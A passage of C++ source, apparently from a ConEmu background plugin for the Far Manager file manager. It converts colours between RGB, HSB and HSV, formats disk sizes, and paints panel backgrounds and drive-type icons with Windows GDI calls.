minRGB = std::min(std::min(rgb.Red, rgb.Green), rgb.Blue);
maxRGB = std::max(std::max(rgb.Red, rgb.Green), rgb.Blue);
Delta = (maxRGB - minRGB);
b = maxRGB;
if (maxRGB != 0.0)
{
s = 255.0 * Delta / maxRGB;
}
else
{
s = 0.0;
}
if (s != 0.0)
{
if (rgb.Red == maxRGB)
{
H = (rgb.Green - rgb.Blue) / Delta;
}
else if (rgb.Green == maxRGB)
{
H = 2.0 + (rgb.Blue - rgb.Red) / Delta;
}
else if (rgb.Blue == maxRGB)
{
H = 4.0 + (rgb.Red - rgb.Green) / Delta;
}
}
else
{
H = -1.0;
}
H = H * 60 ;
if (H < 0.0)
{
H = H + 360.0;
}
hsb.Hue = H;
hsb.Saturnation = s * 100 / 255;
hsb.Brightness = b * 100 / 255;
}
inline BYTE ClrPart(double v)
{
return (v < 0) ? 0 : (v > 1) ? 255 : (int)(v*255);
}
inline double Abs(double v)
{
return (v < 0) ? (-v) : v;
}
void HSB2COLORREF(const HSBColor& hsb, COLORREF& rgbclr)
{
RGBColor rgb = {};
double C, H1, m, X;
//C = (1 - Abs(2*(hsb.Brightness/100.0) - 1)) * (hsb.Saturnation/100.0);
C = (hsb.Brightness/100.0) * (hsb.Saturnation/100.0);
H1 = (hsb.Hue / 60);
X = C*(1 - Abs((H1 - 2*(int)(H1 / 2)) - 1));
m = 0;// (hsb.Brightness/100.0) - (C / 2); -- пока без доп.яркости
if ((hsb.Brightness == 0) || (hsb.Hue < 0 || hsb.Hue >= 360))
{
rgb.clr = 0;
}
else if (hsb.Saturnation == 0)
{
rgb.Red = rgb.Green = rgb.Blue = ClrPart(hsb.Brightness/100);
}
else
{
// double r=0,g=0,b=0;
// double temp1,temp2;
// temp2 = (((hsb.Brightness/100)<=0.5)
// ? (hsb.Brightness/100)*(1.0+(hsb.Saturnation/100))
// : (hsb.Brightness/100)+(hsb.Saturnation/100)-((hsb.Brightness/100)*(hsb.Saturnation/100)));
// temp1 = 2.0*(hsb.Brightness/100)-temp2;
//
// double t3[]={hsb.Hue/360+1.0/3.0,hsb.Hue/360,(hsb.Hue/360)-1.0/3.0};
// double clr[]={0,0,0};
// for(int i=0;i<3;i++)
// {
// if(t3[i]<0)
// t3[i]+=1.0;
// if(t3[i]>1)
// t3[i]-=1.0;
//
// if(6.0*t3[i] < 1.0)
// clr[i]=temp1+(temp2-temp1)*t3[i]*6.0;
// else if(2.0*t3[i] < 1.0)
// clr[i]=temp2;
// else if(3.0*t3[i] < 2.0)
// clr[i]=(temp1+(temp2-temp1)*((2.0/3.0)-t3[i])*6.0);
// else
// clr[i]=temp1;
// }
// r=clr[0];
// g=clr[1];
// b=clr[2];
//rgb.Red = ClrPart(255*r); rgb.Green = ClrPart(255*g); rgb.Blue = ClrPart(255*b);
if (0 <= H1 && H1 < 1)
{
rgb.Red = ClrPart(C+m); rgb.Green = ClrPart(X+m); rgb.Blue = ClrPart(0+m);
}
else if (1 <= H1 && H1 < 2)
{
rgb.Red = ClrPart(X+m); rgb.Green = ClrPart(C+m); rgb.Blue = ClrPart(0+m);
}
else if (2 <= H1 && H1 < 3)
{
rgb.Red = ClrPart(0+m); rgb.Green = ClrPart(C+m); rgb.Blue = ClrPart(X+m);
}
else if (3 <= H1 && H1 < 4)
{
rgb.Red = ClrPart(0+m); rgb.Green = ClrPart(X+m); rgb.Blue = ClrPart(C+m);
}
else if (4 <= H1 && H1 < 5)
{
rgb.Red = ClrPart(X+m); rgb.Green = ClrPart(0+m); rgb.Blue = ClrPart(C+m);
}
else if (5 <= H1 && H1 < 6)
{
rgb.Red = ClrPart(C+m); rgb.Green = ClrPart(0+m); rgb.Blue = ClrPart(X+m);
}
}
rgbclr = rgb.clr;
}
#endif
//#define RETURN_HSV(h, s, v) {HSV.H = h; HSV.S = s; HSV.V = v; return
//HSV;}
//
//#define RETURN_RGB(r, g, b) {RGB.R = r; RGB.G = g; RGB.B = b; return
//RGB;}
#define UNDEFINED 0
// Theoretically, hue 0 (pure red) is identical to hue 6 in these transforms. Pure
// red always maps to 6 in this implementation. Therefore UNDEFINED can be
// defined as 0 in situations where only unsigned numbers are desired.
//typedef struct {float R, G, B;} RGBType;
//
//typedef struct {float H, S, V;} HSVType;
struct HSVColor
{
int H; // (0..1)*360
int S; // (0..1)*100
int V; // (0..1)*100
};
void RGB2HSV(const RGBColor& rgb, HSVColor& HSV)
{
// rgb are each on [0, 1]. S and V are returned on [0, 1] and H is
// returned on [0, 1]. Exception: H is returned UNDEFINED if S==0.
int R = rgb.R, G = rgb.G, B = rgb.B, v, x, f;
int i;
x = std::min(R, G);
x = std::min(x, B);
v = std::max(R, G);
v = std::max(v, B);
if (v == x)
{
HSV.H = UNDEFINED;
HSV.S = 0;
HSV.V = v;
}
else if (v == 0)
{
_ASSERTE(v!=0);
HSV.H = UNDEFINED;
HSV.S = 0;
HSV.V = v;
}
else
{
f = (R == x) ? G - B : ((G == x) ? B - R : R - G); // -255 .. 255
i = (R == x) ? 3 : ((G == x) ? 5 : 1);
HSV.H = (((360*i) - ((360*f)/(v - x)))/6);
HSV.S = (100*(v - x))/v;
HSV.V = 100*v/255;
}
}
inline BYTE ClrPart(int v)
{
return (v < 0) ? 0 : (v > 100) ? 255 : (int)((v*255)/100);
}
void HSV2RGB(const HSVColor& HSV, RGBColor& rgb)
{
rgb.clr = 0;
// H is given on [0, 1] or UNDEFINED. S and V are given on [0, 1].
// rgb are each returned on [0, 1].
int h = HSV.H * 6, s = HSV.S, v = HSV.V, m, n, f;
int i;
//if (h == 0) h = 1;
if ((HSV.H < 0) /*== UNDEFINED*/ || (!HSV.H && !HSV.V))
{
rgb.R = rgb.G = rgb.B = ClrPart(v);
}
else
{
//i = floorf(h);
if (HSV.H < 60)
i = 0;
else if (HSV.H < 120)
i = 1;
else if (HSV.H < 180)
i = 2;
else if (HSV.H < 240)
i = 3;
else if (HSV.H < 300)
i = 4;
else if (HSV.H < 360)
i = 5;
else
i = 6;
//TODO:
f = h - i*360;
if(!(i & 1)) f = 360 - f; // if i is even
m = v * (100 - s) / 100;
n = v * (100 - s * f / 360) / 100;
#define RETURN_RGB(r,g,b) rgb.R = ClrPart(r); rgb.G = ClrPart(g); rgb.B = ClrPart(b);
switch (i)
{
case 6:
case 0: RETURN_RGB(v, n, m); break;
case 1: RETURN_RGB(n, v, m); break;
case 2: RETURN_RGB(m, v, n); break;
case 3: RETURN_RGB(m, n, v); break;
case 4: RETURN_RGB(n, m, v); break;
case 5: RETURN_RGB(v, m, n); break;
default: RETURN_RGB(0, 0, 0);
}
}
}
// Сколько линий в области статуса (без учета рамок)
int GetStatusLineCount(struct PaintBackgroundArg* pBk, BOOL bLeft)
{
if (!(pBk->FarPanelSettings.ShowStatusLine))
{
// Что-то при запуске (1.7x?) иногда картинки прыгают, как будто статус сразу не нашли
_ASSERTE(pBk->FarPanelSettings.ShowStatusLine);
return 0;
}
if ((bLeft ? pBk->LeftPanel.nPanelType : pBk->RightPanel.nPanelType) != PTYPE_FILEPANEL)
{
_ASSERTE(((UINT)(bLeft ? pBk->LeftPanel.nPanelType : pBk->RightPanel.nPanelType)) <= PTYPE_INFOPANEL);
return 0;
}
RECT rcPanel = bLeft ? pBk->LeftPanel.rcPanelRect : pBk->RightPanel.rcPanelRect;
if ((rcPanel.bottom-rcPanel.top) <= ((pBk->FarPanelSettings.ShowColumnTitles) ? 5 : 4))
return 1; // минимальная высота панели
COORD bufSize = {(SHORT)(rcPanel.right-rcPanel.left+1), std::min<SHORT>(10, (SHORT)(rcPanel.bottom-rcPanel.top))};
COORD bufCoord = {0,0};
HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi = {};
short nShiftX = 0, nShiftY = 0;
if (GetConsoleScreenBufferInfo(hStd, &csbi))
{
// Начиная с какой-то версии в фаре поменяли координаты :(
if (rcPanel.top <= 1)
{
nShiftY = csbi.dwSize.Y - (csbi.srWindow.Bottom - csbi.srWindow.Top + 1);
}
}
SMALL_RECT readRect = {
(SHORT)rcPanel.left + nShiftX,
(SHORT)(rcPanel.bottom-bufSize.Y)+nShiftY,
(SHORT)rcPanel.right+nShiftX,
(SHORT)rcPanel.bottom+nShiftY
};
PCHAR_INFO pChars = (PCHAR_INFO)malloc(bufSize.X*bufSize.Y*sizeof(*pChars));
if (!pChars)
{
_ASSERTE(pChars);
return 1;
}
int nLines = 0;
BOOL lbReadRc = ReadConsoleOutputW(hStd, pChars, bufSize, bufCoord, &readRect);
if (!lbReadRc)
{
_ASSERTE(lbReadRc);
}
else
{
for (int i = 2; i <= bufSize.Y; i++)
{
if ((pChars[bufSize.X*(bufSize.Y-i)].Char.UnicodeChar == ucBoxDblVertSinglRight)
|| (pChars[bufSize.X*(bufSize.Y-i)+bufSize.X-1].Char.UnicodeChar == ucBoxDblVertSinglLeft))
{
nLines = i - 1;
break;
}
}
}
// Что-то при запуске (1.7x?) иногда картинки прыгают, как будто статус сразу не нашли
#ifdef _DEBUG
int nArea = -1;
if (nLines<1)
{
static bool bWarnLines = false;
if (!bWarnLines)
{
nArea = GetMacroArea();
if (nArea == 1/*MACROAREA_SHELL*/ || nArea == 5/*MACROAREA_SEARCH*/)
{
bWarnLines = true;
// Far 3.0.3716. Assert при старте. Плагин активирован, а панелей на экране еще НЕТ.
_ASSERTE(nLines>0);
}
}
}
#endif
free(pChars);
return nLines;
}
void FormatSize(ULARGE_INTEGER size, wchar_t* out)
{
if (size.QuadPart)
{
// Сформатировать размер
uint64_t lSize = size.QuadPart, lDec = 0;
const wchar_t *SizeSymbol[]={L"B",L"KB",L"MB",L"GB",L"TB",L"PB"};
for (size_t n = 0; n < countof(SizeSymbol); n++)
{
if (lSize < 1000)
{
if (lDec > 0 && lDec < 10 && lSize < 10)
swprintf_c(out, MAX_PATH/*#SECURELEN*/, L"%u.%u %s", (UINT)lSize, (UINT)lDec, SizeSymbol[n]);
else
swprintf_c(out, MAX_PATH/*#SECURELEN*/, L"%u %s", (UINT)lSize, SizeSymbol[n]);
break;
}
uint64_t lNext = lSize >> 10;
lDec = (lSize % 1024) / 100;
lSize = lNext;
}
//if (!*szVolumeSize)
//{
// swprintf_c(szVolumeSize, MAX_PATH/*#SECURELEN*/, L"%u %s", (UINT)lSize, SizeSymbol[countof(SizeSymbol)-1]);
//}
}
}
int PaintPanel(struct PaintBackgroundArg* pBk, BOOL bLeft, COLORREF& crOtherColor, int& cOtherDrive)
{
DrawInfo* pDraw = (DrawInfo*)calloc(sizeof(*pDraw), 1);
if (!pDraw)
return FALSE;
wchar_t szDbg[128];
// Инициализация и начальное определение размеров и прочего...
int nStatusLines = GetStatusLineCount(pBk, bLeft);
RECT rcPanel = bLeft ? pBk->rcDcLeft : pBk->rcDcRight;
RECT rcConPanel = bLeft ? pBk->LeftPanel.rcPanelRect : pBk->RightPanel.rcPanelRect;
BkPanelInfo *bkInfo = bLeft ? &pBk->LeftPanel : &pBk->RightPanel;
// Не должен содержать рамки
int nPanelWidth = std::max<int>(1, rcConPanel.right - rcConPanel.left + 1); // ширина в символах
int nPanelHeight = std::max<int>(1, rcConPanel.bottom - rcConPanel.top + 1); // высота в символах
RECT rcWork = {}; //rcPanel;
rcWork.left = rcPanel.left + ((rcPanel.right - rcPanel.left + 1) / nPanelWidth);
rcWork.right = rcPanel.right - ((rcPanel.right - rcPanel.left + 1) / nPanelWidth);
rcWork.top = rcPanel.top + ((rcPanel.bottom - rcPanel.top + 1) / nPanelHeight);
rcWork.bottom = rcPanel.bottom - ((rcPanel.bottom - rcPanel.top + 1) / nPanelHeight);
RECT rcInt = rcWork;
if (nStatusLines > 0)
rcInt.bottom -= ((rcPanel.bottom - rcPanel.top + 1) * (nStatusLines + 1) / nPanelHeight);
int nMaxPicSize = (rcInt.bottom - rcInt.top) * 35 / 100;
ULARGE_INTEGER llTotalSize = {}, llFreeSize = {};
UINT nDriveType = DRIVE_UNKNOWN;
BOOL bProgressAllowed = FALSE; // Градусник свободного места
int nMaxVolumeLen = lstrlen(bkInfo->szCurDir ? bkInfo->szCurDir : L"");
wchar_t* szVolumeRoot = (wchar_t*)calloc(nMaxVolumeLen+2,sizeof(*szVolumeRoot));
wchar_t* szVolumeSize = (wchar_t*)calloc(MAX_PATH,sizeof(*szVolumeSize));
wchar_t* szVolumeFree = (wchar_t*)calloc(MAX_PATH,sizeof(*szVolumeFree));
wchar_t* szVolume = (wchar_t*)calloc(MAX_PATH,sizeof(*szVolume));
if (bkInfo->szCurDir && *bkInfo->szCurDir)
{
if (!bkInfo->bPlugin)
{
// Определить размер свободного места на диске
bool lbSizeOk = false, lbTypeOk = false;
_wcscpy_c(szVolumeRoot, nMaxVolumeLen+2, bkInfo->szCurDir);
if (szVolumeRoot[nMaxVolumeLen-1] != L'\\')
{
szVolumeRoot[nMaxVolumeLen++] = L'\\';
szVolumeRoot[nMaxVolumeLen] = 0;
}
int nLen = lstrlen(szVolumeRoot);
while (!(lbSizeOk && lbTypeOk) && (nLen > 0))
{
// To determine whether a drive is a USB-type drive,
// call SetupDiGetDeviceRegistryProperty and specify the SPDRP_REMOVAL_POLICY property.
ULARGE_INTEGER llTotal = {}, llFree = {};
UINT nType = DRIVE_UNKNOWN;
if (!lbSizeOk && GetDiskFreeSpaceEx(szVolumeRoot, &llFree, &llTotal, NULL))
{
llTotalSize.QuadPart = llTotal.QuadPart;
llFreeSize.QuadPart = llFree.QuadPart;
lbSizeOk = TRUE;
}
if (!lbTypeOk && ((nType = GetDriveType(szVolumeRoot)) != DRIVE_UNKNOWN))
{
nDriveType = nType;
lbTypeOk = TRUE;
}
// Если не все определили - пробуем откусить папку
if (!lbSizeOk || !lbTypeOk)
{
if (szVolumeRoot[nLen-1] != L'\\')
{
_ASSERTE(szVolumeRoot[nLen-1] == L'\\');
break;
}
szVolumeRoot[--nLen] = 0;
// Найти следующий слеш
while ((nLen > 0) && (szVolumeRoot[nLen-1] != L'\\'))
nLen--;
// Пропустить все слеши
while ((nLen > 0) && (szVolumeRoot[nLen-1] == L'\\'))
nLen--;
// Откусить
szVolumeRoot[nLen] = 0;
}
}
FormatSize(llTotalSize, szVolumeSize);
FormatSize(llFreeSize, szVolumeFree);
}
// Извлечь "Букву" диска
LPCWSTR psz = bkInfo->szCurDir;
if (psz[0] == L'\\' && psz[1] == L'\\' && (psz[2] == L'.' || psz[2] == L'?') && psz[3] == L'\\')
{
psz += 4;
if (psz[0] == L'U' && psz[1] == L'N' && psz[2] == L'C' && psz[3] == L'\\')
psz += 4;
}
LPCWSTR pszSlash = wcschr(psz, L'\\');
if (!pszSlash)
pszSlash = wcschr(psz, L'/');
if (!pszSlash)
pszSlash = psz + lstrlen(psz);
if (pszSlash > psz)
lstrcpyn(szVolume, psz, (int)(pszSlash - psz + 1));
}
pDraw->szVolume = szVolume;
pDraw->szVolumeRoot = szVolumeRoot;
pDraw->szVolumeSize = szVolumeSize;
pDraw->szVolumeFree = szVolumeFree;
pDraw->nDriveType = nDriveType;
if (nDriveType != DRIVE_UNKNOWN && nDriveType != DRIVE_CDROM && nDriveType != DRIVE_NO_ROOT_DIR)
{
bProgressAllowed = TRUE;
}
else
{
bProgressAllowed = FALSE;
}
// Если есть xml - получить из него настройки для текущего случая
if (gfCreateXmlReader && XmlFile.FileData && XmlFile.FileSize)
{
FillPanelParams(pBk, bkInfo, pDraw);
}
if ((pDraw->Flags & DrawInfo::dif_Disabled))
{
if (pBk->dwLevel == 0)
{
DWORD nPanelBackIdx = CONBACKCOLOR(pBk->nFarColors[col_PanelText]);
COLORREF crPanel = pBk->crPalette[nPanelBackIdx];
swprintf_c(szDbg, L"ConEmuBk: Disabled %s - {%i,%i,%i,%i) #%06X\n",
bLeft ? L"Left" : L"Right", rcConPanel.left, rcConPanel.top, rcConPanel.right, rcConPanel.bottom,
crPanel);
DBGSTR(szDbg);
HBRUSH hBr = CreateSolidBrush(crPanel);
FillRect(pBk->hdc, &rcPanel, hBr);
DeleteObject(hBr);
}
}
else
{
// Если не было задано - инициализируем умолчания
if (!(pDraw->Flags & DrawInfo::dif_BackFilled))
{
if (bkInfo->bPlugin)
{
pDraw->crBack[0] = RGB(128,128,128);
}
else
{
switch (nDriveType)
{
case DRIVE_REMOVABLE:
pDraw->crBack[0] = 0x00D98C; break;
case DRIVE_REMOTE:
pDraw->crBack[0] = 0xFF00E6; break;
case DRIVE_CDROM:
pDraw->crBack[0] = 0x7E00FF; break;
case DRIVE_RAMDISK:
pDraw->crBack[0] = 0x008080; break;
default:
pDraw->crBack[0] = 0xFF0000;
}
pDraw->Flags |= DrawInfo::dif_ShiftBackColor;
}
pDraw->nBackCount = 1;
}
int nLetter = 0;
if ((pDraw->Flags & DrawInfo::dif_ShiftBackColor) && pDraw->crBack && (szVolume[1] == L':'))
{
nLetter = (szVolume[0] >= L'a' && szVolume[0] <= L'b') ? (szVolume[0] - L'a' + 24) :
(szVolume[0] >= L'c' && szVolume[0] <= L'z') ? (szVolume[0] - L'c') :
(szVolume[0] >= L'A' && szVolume[0] <= L'B') ? (szVolume[0] - L'A' + 24) :
(szVolume[0] >= L'C' && szVolume[0] <= L'Z') ? (szVolume[0] - L'C') :
0;
if (pDraw->nBackCount > 0)
{
_ASSERTE(pDraw->nBackCount <= countof(pDraw->crBack));
pDraw->crBack[0] = pDraw->crBack[nLetter % pDraw->nBackCount];
}
else
{
// Сконвертить в HSV, сдвинуть, и обратно в COLORREF
int nShift = (nLetter % 5) * 15;
HSVColor hsv = {};
RGBColor rgb; rgb.clr = *pDraw->crBack;
//COLORREF2HSB(pDraw->crBack, hsb);
RGB2HSV(rgb, hsv);
#ifdef _DEBUG
HSV2RGB(hsv, rgb);
#endif
//hsv.H += nShift;
hsv.S -= nShift;
if (hsv.S < 0) hsv.S += 100;
hsv.V = hsv.V / 2;
HSV2RGB(hsv, rgb);
//hsv.Brightness *= 0.7;
//HSB2COLORREF(hsb, clr);
if (bLeft)
{
crOtherColor = rgb.clr;
cOtherDrive = nLetter;
}
else if ((rgb.clr == crOtherColor) && (cOtherDrive != nLetter))
{
hsv.H += 15;
HSV2RGB(hsv, rgb);
}
pDraw->crBack[0] = rgb.clr;
}
}
// Цвет спрайтов, текста, фона градусника
if (!(pDraw->Flags & DrawInfo::dif_DarkFilled))
{
RGBColor rgb; rgb.clr = *pDraw->crBack;
rgb.R = (BYTE)((int)rgb.R * 2 / 3);
rgb.G = (BYTE)((int)rgb.G * 2 / 3);
rgb.B = (BYTE)((int)rgb.B * 2 / 3);
pDraw->crDark[0] = rgb.clr;
pDraw->nDarkCount = 1;
}
else if (pDraw->Flags & DrawInfo::dif_ShiftBackColor)
{
if (pDraw->nDarkCount > 0)
{
_ASSERTE(pDraw->nDarkCount <= countof(pDraw->crDark));
pDraw->crDark[0] = pDraw->crDark[nLetter % pDraw->nDarkCount];
}
}
// Цвет градусника
if (!(pDraw->Flags & DrawInfo::dif_LightFilled))
{
HSVColor hsv = {};
RGBColor rgb; rgb.clr = *pDraw->crBack;
RGB2HSV(rgb, hsv);
hsv.H += 20;
hsv.S = std::min(100,hsv.S+25);
hsv.V = std::min(100,hsv.V+25);
HSV2RGB(hsv, rgb);
pDraw->crLight[0] = rgb.clr;
pDraw->nLightCount = 1;
}
else if (pDraw->Flags & DrawInfo::dif_ShiftBackColor)
{
if (pDraw->nLightCount > 0)
{
_ASSERTE(pDraw->nLightCount <= countof(pDraw->crLight));
pDraw->crLight[0] = pDraw->crLight[nLetter % pDraw->nLightCount];
}
}
if (!(pDraw->Flags & DrawInfo::dif_PicFilled))
{
if (bkInfo->bPlugin)
{
wcscpy_c(pDraw->szPic, L"img/plugin.png");
}
else
{
switch (nDriveType)
{
case DRIVE_REMOVABLE:
wcscpy_c(pDraw->szPic, L"img/drive_removable.png"); break;
case DRIVE_REMOTE:
wcscpy_c(pDraw->szPic, L"img/drive_network.png"); break;
case DRIVE_CDROM:
wcscpy_c(pDraw->szPic, L"img/drive_cdrom.png"); break;
case DRIVE_RAMDISK:
wcscpy_c(pDraw->szPic, L"img/drive_ramdisk.png"); break;
default:
wcscpy_c(pDraw->szPic, L"img/drive_fixed.png");
}
}
}
if (!(pDraw->Flags & DrawInfo::dif_TextFilled))
{
TODO("Размер диска");
wcscpy_c(pDraw->szText, szVolume);
}
// Поехали рисовать
if (pBk->dwLevel == 0)
{
swprintf_c(szDbg, L"ConEmuBk: %s - {%i,%i,%i,%i) #%06X\n",
bLeft ? L"Left" : L"Right", rcConPanel.left, rcConPanel.top, rcConPanel.right, rcConPanel.bottom,
*pDraw->crBack);
DBGSTR(szDbg);
HBRUSH hBrush = CreateSolidBrush(*pDraw->crBack);
FillRect(pBk->hdc, &rcPanel, hBrush);
DeleteObject(hBrush);
}
LOGFONT lf = {};
lf.lfHeight = std::max<LONG>(20, (rcInt.bottom - rcInt.top) * 12 / 100);
lf.lfWeight = 700;
lstrcpy(lf.lfFaceName, L"Arial");
// GO
HFONT hText = CreateFontIndirect(&lf);
HFONT hOldFont = (HFONT)SelectObject(pBk->hdc, hText);
#define IMG_SHIFT_X 0
#define IMG_SHIFT_Y 0
#define LINE_SHIFT_Y (lf.lfHeight)
#define LINE_SHIFT_X (lf.lfHeight/6)
// Determine appropriate font size:
int nY = std::max(rcInt.top, rcInt.bottom - (LINE_SHIFT_Y));
RECT rcText = {rcInt.left+IMG_SHIFT_X, nY, rcInt.right-LINE_SHIFT_X, nY+LINE_SHIFT_Y};
RECT rcTemp = rcText;
DrawText(pBk->hdc, pDraw->szText, -1, &rcTemp, DT_HIDEPREFIX|DT_RIGHT|DT_SINGLELINE|DT_TOP|DT_CALCRECT);
LONG width = rcText.right - rcText.left;
LONG actualWidth = rcTemp.right - rcTemp.left;
if (actualWidth > width)
{
// Delete current font:
SelectObject(pBk->hdc, hOldFont);
DeleteObject(hText);
// Create new font of appropriate size:
lf.lfHeight = lf.lfHeight * width / actualWidth;
hText = CreateFontIndirect(&lf);
hOldFont = (HFONT)SelectObject(pBk->hdc, hText);
}
CachedImage* pI = NULL;
if (gpDecoder && *pDraw->szPic)
{
pI = gpDecoder->GetImage(pDraw->szPic);
if (pI)
{
int nPicDim = std::max(pI->nWidth,pI->nHeight);
int nW = std::min(nMaxPicSize,nPicDim), nH = std::min(nMaxPicSize,nPicDim); //TODO: Пропорционально pI->nWidth/pI->nHeight
if (pI && (rcWork.top <= (rcText.top - nH - IMG_SHIFT_Y)) && (rcWork.left <= (rcWork.right - nW - IMG_SHIFT_X)))
{
// - картинки чисто черного цвета
#if 0
const HDC hScreenDC = GetDC(0);
HDC hReadyDC = CreateCompatibleDC(hScreenDC);
HBITMAP hReadyBmp = CreateCompatibleBitmap(hScreenDC, nW, nH);
HBITMAP hOldReadyBmp = (HBITMAP)SelectObject(hReadyDC, hReadyBmp);
StretchBlt(hReadyDC, 0, 0, nW, nH, pI->hDc, 0,0, pI->nWidth, pI->nHeight, SRCCOPY);
BitBlt(pBk->hdc, rcWork.right - nW - IMG_SHIFT_X, rcText.top - nH - IMG_SHIFT_Y, nW, nH,
hReadyDC, 0,0, SRCAND);
SelectObject(hReadyDC, hOldReadyBmp);
DeleteObject(hReadyBmp);
DeleteDC(hReadyDC);
ReleaseDC(0, hScreenDC);
#endif
// OK
#if 1
const HDC hScreenDC = GetDC(0);
HDC hMaskDC = CreateCompatibleDC(hScreenDC);
HBITMAP hMaskBmp = CreateCompatibleBitmap(hScreenDC, pI->nWidth, pI->nHeight);
HBITMAP hOldMaskBmp = (HBITMAP)SelectObject(hMaskDC, hMaskBmp);
StretchBlt(hMaskDC, 0, 0, nW, nH, pI->hDc, 0,0, pI->nWidth, pI->nHeight, NOTSRCCOPY);
HDC hInvDC = CreateCompatibleDC(hScreenDC);
HBITMAP hInvBmp = CreateCompatibleBitmap(hScreenDC, pI->nWidth, pI->nHeight);
HBITMAP hOldInvBmp = (HBITMAP)SelectObject(hInvDC, hInvBmp);
HBRUSH hDarkBr = CreateSolidBrush(*pDraw->crDark);
HBRUSH hOldBr = (HBRUSH)SelectObject(hInvDC, hDarkBr);
BitBlt(hInvDC, 0, 0, nW, nH,
hMaskDC, 0,0, MERGECOPY);
SelectObject(hInvDC, hOldBr);
HDC hReadyDC = CreateCompatibleDC(hScreenDC);
HBITMAP hReadyBmp = CreateCompatibleBitmap(hScreenDC, nW, nH);
HBITMAP hOldReadyBmp = (HBITMAP)SelectObject(hReadyDC, hReadyBmp);
HBRUSH hBackBr = CreateSolidBrush(*pDraw->crBack);
hOldBr = (HBRUSH)SelectObject(hReadyDC, hBackBr);
BitBlt(hMaskDC, 0, 0, nW, nH,
hMaskDC, 0,0, DSTINVERT);
BitBlt(hReadyDC, 0, 0, nW, nH,
hMaskDC, 0,0, MERGECOPY);
SelectObject(hReadyDC, hOldBr);
BitBlt(hReadyDC, 0, 0, nW, nH,
hInvDC, 0,0, SRCPAINT);
DeleteObject(hDarkBr);
DeleteObject(hBackBr);
BitBlt(pBk->hdc, rcWork.right - nW - IMG_SHIFT_X, rcText.top - nH - IMG_SHIFT_Y, nW, nH,
hReadyDC, 0,0, SRCCOPY);
SelectObject(hReadyDC, hOldReadyBmp);
DeleteObject(hReadyBmp);
DeleteDC(hReadyDC);
SelectObject(hInvDC, hOldInvBmp);
DeleteObject(hInvBmp);
DeleteDC(hInvDC);
SelectObject(hMaskDC, hOldMaskBmp);
DeleteObject(hMaskBmp);
DeleteDC(hMaskDC);
ReleaseDC(0, hScreenDC);
#endif
#if 0
const HDC hScreenDC = GetDC(0);
HDC hInvDC = CreateCompatibleDC(hScreenDC);
HBITMAP hInvBmp = CreateCompatibleBitmap(hScreenDC, pI->nWidth, pI->nHeight);
HBITMAP hOldInvBmp = (HBITMAP)SelectObject(hInvDC, hInvBmp);
RECT rcFill = {0,0,pI->nWidth, pI->nHeight};
HBRUSH hDarkBr = CreateSolidBrush(/*RGB(128,128,128)*/ *pDraw->crDark);
FillRect(hInvDC, &rcFill, hDarkBr);
DeleteObject(hDarkBr);
BitBlt(hInvDC, 0, 0, pI->nWidth, pI->nHeight,
pI->hDc, 0,0, SRCAND);
HDC hReadyDC = CreateCompatibleDC(hScreenDC);
HBITMAP hReadyBmp = CreateCompatibleBitmap(hScreenDC, nW, nH);
HBITMAP hOldReadyBmp = (HBITMAP)SelectObject(hReadyDC, hReadyBmp);
//SetStretchBltMode(hReadyDC, HALFTONE);
rcFill.right = nW; rcFill.bottom = nH;
FillRect(hReadyDC, &rcFill, (HBRUSH)GetStockObject(BLACK_BRUSH));
StretchBlt(hReadyDC, 0, 0, nW, nH, hInvDC, 0,0, pI->nWidth, pI->nHeight, SRCINVERT);
BitBlt(pBk->hdc, rcWork.right - nW - IMG_SHIFT_X, rcText.top - nH - IMG_SHIFT_Y, nW, nH,
hReadyDC, 0,0, SRCCOPY);
SelectObject(hReadyDC, hOldReadyBmp);
DeleteObject(hReadyBmp);
DeleteDC(hReadyDC);
ReleaseDC(0, hScreenDC);
#endif
// - Черная окантовка вокруг плагиновой картинки
#if 0
const HDC hScreenDC = GetDC(0);
HDC hInvDC = CreateCompatibleDC(hScreenDC);
HBITMAP hInvBmp = CreateCompatibleBitmap(hScreenDC, pI->nWidth, pI->nHeight);
HBITMAP hOldInvBmp = (HBITMAP)SelectObject(hInvDC, hInvBmp);
BitBlt(hInvDC, 0, 0, pI->nWidth, pI->nHeight, pI->hDc, 0,0, SRCCOPY); //NOTSRCCOPY
HDC hCompDC = CreateCompatibleDC(hScreenDC);
HBITMAP hCompBmp = CreateCompatibleBitmap(hScreenDC, pI->nWidth, pI->nHeight);
HBITMAP hOldCompBmp = (HBITMAP)SelectObject(hCompDC, hCompBmp);
HDC hBackDC = CreateCompatibleDC(hScreenDC);
HBITMAP hBackBmp = CreateCompatibleBitmap(hScreenDC, pI->nWidth, pI->nHeight);
HBITMAP hOldBackBmp = (HBITMAP)SelectObject(hBackDC, hBackBmp);
HBRUSH hPaintBr = CreateSolidBrush(*pDraw->crDark);
HBRUSH hBackBr = CreateSolidBrush(*pDraw->crBack);
RECT rcFill = {0,0,pI->nWidth, pI->nHeight};
HBRUSH hOldCompBr = (HBRUSH)SelectObject(hCompDC, hBackBr);
BitBlt(hCompDC, 0, 0, pI->nWidth, pI->nHeight, hInvDC, 0,0, MERGECOPY);
BitBlt(hInvDC, 0, 0, pI->nWidth, pI->nHeight, pI->hDc, 0,0, NOTSRCCOPY);
HBRUSH hOldBackBr = (HBRUSH)SelectObject(hBackDC, hPaintBr);
BitBlt(hBackDC, 0, 0, pI->nWidth, pI->nHeight, hInvDC, 0,0, MERGECOPY);
BitBlt(hCompDC, 0, 0, pI->nWidth, pI->nHeight, hBackDC, 0,0, SRCPAINT);
HDC hReadyDC = CreateCompatibleDC(hScreenDC);
HBITMAP hReadyBmp = CreateCompatibleBitmap(hScreenDC, nW, nH);
HBITMAP hOldReadyBmp = (HBITMAP)SelectObject(hReadyDC, hReadyBmp);
StretchBlt(hReadyDC, 0, 0, nW, nH, hCompDC, 0,0, pI->nWidth, pI->nHeight, SRCCOPY); //NOTSRCCOPY
BOOL lbBitRc = BitBlt(pBk->hdc, rcWork.right - nW - IMG_SHIFT_X, rcText.top - nH - IMG_SHIFT_Y, nW, nH,
hReadyDC, 0,0, SRCCOPY);
SelectObject(hReadyDC, hOldReadyBmp);
DeleteObject(hReadyBmp);
DeleteDC(hReadyDC);
DeleteObject(hPaintBr);
SelectObject(hCompDC, hOldCompBr);
DeleteObject(hBackBr);
SelectObject(hInvDC, hOldInvBmp);
DeleteObject(hInvBmp);
DeleteDC(hInvDC);
SelectObject(hCompDC, hOldCompBmp);
DeleteObject(hCompBmp);
DeleteDC(hCompDC);
